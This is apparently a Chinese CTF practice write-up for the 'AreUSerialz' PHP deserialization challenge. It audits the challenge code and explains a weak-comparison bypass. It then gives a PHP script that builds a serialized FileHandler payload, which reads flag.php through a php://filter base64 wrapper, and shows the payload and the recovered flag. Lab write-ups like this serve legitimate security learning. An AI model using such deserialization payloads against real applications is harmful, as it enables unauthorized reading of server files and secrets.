[网鼎杯 2020 青龙组]AreUSerialz – buu刷题笔记

打开题目就是一串代码需要进行代码审计

 <?php

include(\"flag.php\");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = \"1\";
        $filename = \"/tmp/tmpfile\";
        $content = \"Hello World!\";
        $this->process();
    }

    public function process() {
        if($this->op == \"1\") {
            $this->write();
        } else if($this->op == \"2\") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output(\"Bad Hacker!\");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output(\"Too long!\");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output(\"Successful!\");
            else $this->output(\"Failed!\");
        } else {
            $this->output(\"Failed!\");
        }
    }

    private function read() {
        $res = \"\";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo \"[Result]: <br>\";
        echo $s;
    }

    function __destruct() {
        if($this->op === \"2\")
            $this->op = \"1\";
        $this->content = \"\";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{\'str\'})) {

    $str = (string)$_GET[\'str\'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
[Result]:
PD9waHAgJGZsYWc9J2ZsYWd7YjFjYzcyMmYtZWNmZS00YTRjLWE3ODAtMjgzMGVmN2ExZmNlfSc7Cg==

我们由最后一段，追溯到上面的is_valid函数：

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

分析代码可知，它对传入的参数中的每一个字符进行判断，确保参数中的每一个字符都是可打印的。

if(isset($_GET{\'str\'})) {
    $str = (string)$_GET[\'str\'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

如果没有不可打印字符，就将str反序列化

接下来看FileHandler这个类，发现可以利用析构函数

function __destruct() 
{
        if($this->op === \"2\")
            $this->op = \"1\";
        $this->content = \"\";
        $this->process();
}

在这个析构函数中 ，op用的是===强类型比较，如果op等于2，就置为1，然后执行process函数，而我们发现，我们需要读取flag.php文件，又需要op等于2。

所以要想读取flag.php就要绕过process方法的判断，我们注意到process中用的是==弱类型比较，于是我们传入op的值就为整型2，这样析构函数中就不符合而process中就可以，这样就成功绕过。

public function process() {
        if($this->op == \"1\") {
            $this->write();
        } else if($this->op == \"2\") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output(\"Bad Hacker!\");
        }
    }

上脚本：

<?php
highlight_file(__FILE__);
	class FileHandler {
        public $op = 2;
        public $filename=\"php://filter/read=convert.base64-encode/resource=flag.php\";
        public $content;
    }
    $a = new FileHandler();
        $b = serialize($a);
        echo($b);
?>

O:11:\"FileHandler\":3:{s:2:\"op\";i:2;s:8:\"filename\";s:57:\"php://filter/read=convert.base64-encode/resource=flag.php\";s:7:\"content\";s:0:\"\";}

经过base64解码即可

考点

• php弱类型比较
• protected/private类型的属性序列化后产生不可打印字符，public类型则不会
• PHP7.1+对类的属性类型不敏感

所以最终flag为flag{b1cc722f-ecfe-4a4c-a780-2830ef7a1fce}